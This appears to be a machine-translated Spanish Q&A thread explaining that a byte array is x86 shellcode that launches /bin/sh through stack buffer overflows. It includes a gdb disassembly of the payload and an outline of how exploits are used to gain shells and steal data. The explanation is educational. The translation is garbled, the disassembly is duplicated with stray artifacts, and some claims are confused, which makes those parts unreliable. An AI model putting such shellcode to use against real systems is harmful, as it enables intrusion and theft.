¿Qué lenguaje de programación utiliza este código?

El contenido de esa matriz, es un código de máquina de bajo nivel que ejecutará el shell / bin / sh, si se ejecuta en la arquitectura correcta. Un atacante puede alimentarlo como datos a un programa que lo ejecutará como código debido a un error.

Se usa comúnmente para explotar desbordamientos de búfer .

Uno de los principios básicos de la programación de software es el concepto de sub rutinas. Entonces, un programador puede llamar a una función que tiene su propio conjunto de variables y hace un poco de trabajo. Una vez que se completa, el programa continúa la ejecución justo después de la llamada.

Sin embargo, este concepto no existe en la capa de hardware. El procesador simplemente ejecuta el siguiente comando, a menos que sea un salto a otro lugar.

Entonces, para poder regresar de una llamada, se debe hacer una preparación en el momento en que se realiza la llamada: la dirección de retorno se guarda en una pila , junto con los parámetros para el función. Todas las variables locales creadas por la función también se almacenan en la pila. Al final de la función, las variables locales se eliminan de la pila y la dirección de retorno guardada se utiliza como objetivo de un salto.

En teoría, esto funciona bien. En la práctica, un error en el programa puede permitir que un atacante almacene algunos datos en una variable local que sea más larga que la capacidad de esa variable. Dado que las variables locales se almacenan antes de la dirección de retorno en la memoria, el atacante puede sobrescribir la dirección de retorno para señalar sus propios datos. El procesador lo ejecutará felizmente, asumiendo que es un código de máquina válido.

Si está interesado en el fondo, eche un vistazo a Aplastando la pila por diversión y beneficio . Es viejo y hay algunas medidas de contador en su lugar hoy, pero ofrece una muy buena introducción.

Lo que estás viendo se llama shellcode. Está pensado para ser interpretado como los valores hexadecimales mostrados y es específico para una arquitectura de procesador determinada y solo funcionará con direcciones de memoria conocidas, por lo que también es específico para un determinado sistema operativo o programa. Está por debajo del lenguaje ensamblador: está viendo el código de máquina en sí mismo.

Por ejemplo, 0xEB es una instrucción de salto x86, y algunos de los bytes inmediatamente siguientes son la dirección de destino. malware / virus de ingeniería inversa puede ser un buen punto de partida para aprender a interpretar ese código .

Si está interesado y sabe un poco de montaje, este es el aspecto del código de shell:

(gdb) x/s shellcode+61
0x804a07d <shellcode+61>:    "2
(gdb) x/s shellcode+61
0x804a07d <shellcode+61>:    "2%pre%4%pre%4%pre%4%pre%4\a%pre%4"
(gdb) x/31i shellcode
   0x804a040 <shellcode>:   jmp    0x804a065 <shellcode+37>
   0x804a042 <shellcode+2>: pop    esi
   0x804a043 <shellcode+3>: lea    ebx,[esi]
   0x804a045 <shellcode+5>: mov    DWORD PTR [esi+0xb],ebx
   0x804a048 <shellcode+8>: xor    edx,edx
   0x804a04a <shellcode+10>:    mov    DWORD PTR [esi+0x7],edx
   0x804a04d <shellcode+13>:    mov    DWORD PTR [esi+0xf],edx
   0x804a050 <shellcode+16>:    mov    DWORD PTR [esi+0x14],edx
   0x804a053 <shellcode+19>:    mov    BYTE PTR [esi+0x19],dl
   0x804a056 <shellcode+22>:    xor    eax,eax
   0x804a058 <shellcode+24>:    mov    al,0x3b
   0x804a05a <shellcode+26>:    lea    ecx,[esi+0xb]
   0x804a05d <shellcode+29>:    mov    edx,ecx
   0x804a05f <shellcode+31>:    push   edx
   0x804a060 <shellcode+32>:    push   ecx
   0x804a061 <shellcode+33>:    push   ebx
   0x804a062 <shellcode+34>:    push   eax
   0x804a063 <shellcode+35>:    jmp    0x804a07d <shellcode+61>
   0x804a065 <shellcode+37>:    call   0x804a042 <shellcode+2>
   0x804a06a <shellcode+42>:    das    
   0x804a06b <shellcode+43>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x804a06e <shellcode+46>:    das    
   0x804a06f <shellcode+47>:    jae    0x804a0d9
   0x804a071 <shellcode+49>:    add    DWORD PTR [ecx],eax
   0x804a073 <shellcode+51>:    add    DWORD PTR [ecx],eax
   0x804a075 <shellcode+53>:    add    al,BYTE PTR [edx]
   0x804a077 <shellcode+55>:    add    al,BYTE PTR [edx]
   0x804a079 <shellcode+57>:    add    eax,DWORD PTR [ebx]
   0x804a07b <shellcode+59>:    add    eax,DWORD PTR [ebx]
   0x804a07d <shellcode+61>:    call   0x407:0x4040404
   0x804a084 <shellcode+68>:    add    BYTE PTR [eax],al
(gdb) x/s shellcode+42
0x804a06a <shellcode+42>:    "/bin/sh%pre%1%pre%1%pre%1%pre%1%pre%2%pre%2%pre%2%pre%2%pre%3%pre%3%pre%3%pre%32%pre%4%pre%4%pre%4%pre%4\a%pre%4"
4%pre%4%pre%4%pre%4\a%pre%4"
(gdb) x/31i shellcode
   0x804a040 <shellcode>:   jmp    0x804a065 <shellcode+37>
   0x804a042 <shellcode+2>: pop    esi
   0x804a043 <shellcode+3>: lea    ebx,[esi]
   0x804a045 <shellcode+5>: mov    DWORD PTR [esi+0xb],ebx
   0x804a048 <shellcode+8>: xor    edx,edx
   0x804a04a <shellcode+10>:    mov    DWORD PTR [esi+0x7],edx
   0x804a04d <shellcode+13>:    mov    DWORD PTR [esi+0xf],edx
   0x804a050 <shellcode+16>:    mov    DWORD PTR [esi+0x14],edx
   0x804a053 <shellcode+19>:    mov    BYTE PTR [esi+0x19],dl
   0x804a056 <shellcode+22>:    xor    eax,eax
   0x804a058 <shellcode+24>:    mov    al,0x3b
   0x804a05a <shellcode+26>:    lea    ecx,[esi+0xb]
   0x804a05d <shellcode+29>:    mov    edx,ecx
   0x804a05f <shellcode+31>:    push   edx
   0x804a060 <shellcode+32>:    push   ecx
   0x804a061 <shellcode+33>:    push   ebx
   0x804a062 <shellcode+34>:    push   eax
   0x804a063 <shellcode+35>:    jmp    0x804a07d <shellcode+61>
   0x804a065 <shellcode+37>:    call   0x804a042 <shellcode+2>
   0x804a06a <shellcode+42>:    das    
   0x804a06b <shellcode+43>:    bound  ebp,QWORD PTR [ecx+0x6e]
   0x804a06e <shellcode+46>:    das    
   0x804a06f <shellcode+47>:    jae    0x804a0d9
   0x804a071 <shellcode+49>:    add    DWORD PTR [ecx],eax
   0x804a073 <shellcode+51>:    add    DWORD PTR [ecx],eax
   0x804a075 <shellcode+53>:    add    al,BYTE PTR [edx]
   0x804a077 <shellcode+55>:    add    al,BYTE PTR [edx]
   0x804a079 <shellcode+57>:    add    eax,DWORD PTR [ebx]
   0x804a07b <shellcode+59>:    add    eax,DWORD PTR [ebx]
   0x804a07d <shellcode+61>:    call   0x407:0x4040404
   0x804a084 <shellcode+68>:    add    BYTE PTR [eax],al
(gdb) x/s shellcode+42
0x804a06a <shellcode+42>:    "/bin/sh%pre%1%pre%1%pre%1%pre%1%pre%2%pre%2%pre%2%pre%2%pre%3%pre%3%pre%3%pre%32%pre%4%pre%4%pre%4%pre%4\a%pre%4"

La cadena "/ bin / sh" está en shellcode + 42 y es la cadena que se ejecutará en el sistema y le traerá una shell (aquí el significado de shell-code). A propósito, el desensamblaje de instrucciones de shellcode + 42 hasta 7 bytes más parece "código extraño", esto se debe a que el desensamblador administra la cadena como si fuera un código en lugar de datos.

Es parte del desarrollo del exploit.

Un hacker primero descubre un problema. Por ejemplo, podría notar que al iniciar sesión en el correo electrónico, si ingresa un nombre de usuario de 1000 bytes de longitud, el servidor se bloquea.

Entonces, lo que hace el pirata informático es descubrir cómo manipular los bytes desbordados para hacer que la ejecución del programa "salte" en algún lugar del búfer.

El pirata informático luego escribe un código para abrir un indicador de comando (también conocido como "shell"), e interactuar con ese indicador de comando a través de la red. Esto se llama "shellcode". Es el código de shell que ves arriba.

El pirata informático combina todo esto en un programa de "explotación" que puede utilizarse para piratear un sistema simplemente especificando una dirección IP de la víctima.

El hacker que escanea una red en busca de sistemas vulnerables. Cuando encuentra uno, ejecuta su hazaña contra él, interrumpe con un indicador de shell. Esto se muestra de manera realista en la película de la segunda matriz.

Una vez que el pirata informático tiene el indicador de comando, puede enviar comandos arbitrarios al sistema. Él podría crear su propia cuenta de usuario. Él podría descargar el archivo de contraseña. Podría descargar números de tarjetas de crédito de la base de datos.

El código de shell que ves arriba está especificado en C, porque eso es lo que se escribe en la mayoría de las vulnerabilidades. Pero se traduce fácilmente a otros idiomas populares que tienen una sintaxis similar en C.

El código shell está específicamente diseñado para NetBSD ejecutándose en x86. NetBSD es un sistema de sistema operativo estrechamente relacionado con Mac OS X y más distante relacionado con Linux. Solía ser popular para las computadoras pequeñas, pero ha desaparecido en gran medida en estos días. Así que esto es bastante inútil.

Esta es una declaración de caracteres C No hay ninguna razón para sugerir que si escribe su propio programa en C no puede incluir estos encabezados en su código y luego utilizarlos.